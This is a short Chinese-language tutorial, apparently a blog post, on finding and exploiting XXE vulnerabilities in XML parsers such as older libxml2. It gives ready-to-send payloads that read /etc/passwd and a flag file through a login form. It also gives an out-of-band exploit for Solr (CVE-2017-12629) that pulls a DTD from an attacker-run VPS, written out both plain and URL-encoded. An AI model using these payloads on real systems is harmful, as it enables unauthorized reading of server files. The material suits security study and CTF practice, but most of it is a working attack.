libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞越来越少。如果你进行信息收集,从一个网站发现它嵌入了libxml2.9.0以下的版本,又或者你在抓包的时候,发现某处提交的数据是一个xml实体,那么就可以测试一波xxe漏洞。
例如 phpinfo 搜索libxml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
就可以直接构造payload 发包打过去。
还有一种是登录口。
抓包发现是实体里面有数据的传输
<?xml version="1.0" encoding="UTF-8"?><root> <username>root</username> <password>root</password> </root>
记住,这个时候就要构造payload了, 因为你要匹配关键字 username 和password 否则其他的payload是不行的。payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY admin SYSTEM "file:///flag">
]>
<root>
<username>&admin;</username>
<password>123456</password>
</root>
另一种就是解析外部实体了,
比如CVE-2017-12629-xxe
在一台VPS上 开启web服务 将1.dtd放入到WWW目录 ,并写入如下内容:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
payload
GET /solr/demo/select?&q=<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://ip/1.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser
并对参数q的值进行URL编码
GET /solr/demo/select?&q=%3c%3fxml%20version%3d%221.0%22%20%3f%3e%3c!DOCTYPE%20root%5b%3c!ENTITY%20%25%20ext%20SYSTEM%20%22http%3a%2f%2fip%2f1.dtd%22%3e%25ext%3b%25ent%3b%5d%3e%3cr%3e%26data%3b%3c%2fr%3e&wt=xml&defType=xmlparser
如果觉得有哪些是不懂的,可以私信我。